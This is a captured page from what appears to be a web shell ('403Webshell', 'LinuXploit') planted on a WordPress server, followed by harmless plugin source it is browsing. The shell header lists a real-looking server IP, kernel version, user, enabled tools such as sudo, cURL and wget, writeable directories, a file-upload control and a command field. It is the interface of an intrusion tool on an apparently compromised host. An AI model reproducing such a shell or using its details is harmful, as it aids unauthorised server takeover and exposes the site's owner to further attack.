403Webshell
Server IP : 3.93.235.159  /  Your IP : 216.73.216.140
Web Server : Apache
System : Linux ip-172-26-0-169 5.10.0-46-cloud-amd64 #1 SMP Debian 5.10.262-1 (2026-07-31) x86_64
User : bitnami ( 1000)
PHP Version : 8.2.9
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/plugins/send-app/core/rest/routes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/plugins/send-app/core/rest/routes//integrations-actions.php
<?php
namespace Send_App\Core\Rest\Routes;

use Send_App\Core\Base\Integrations_Route_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Integrations_Actions extends Integrations_Route_Base {
	public string $path = 'integrations/(?P<name>[\w-]+)/actions/(?P<action>enable|disable|sync)';

	public function get_name(): string {
		return 'integrations-actions';
	}

	public function get_methods(): array {
		return [ 'POST' ];
	}

	public function POST( \WP_REST_Request $request ) {
		return $this->request_handler( $request );
	}

	/**
	 * @param mixed $response
	 *
	 * @return array
	 */
	protected function format_response_data( $response ): array {
		$name = $this->request->get_param( 'name' );
		$action = $this->request->get_param( 'action' );

		if ( is_array( $response ) ) {
			$response['name'] = $name;
		} else {
			$response = [
				'name' => $name,
				$action => $response,
			];
		}

		return $response;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit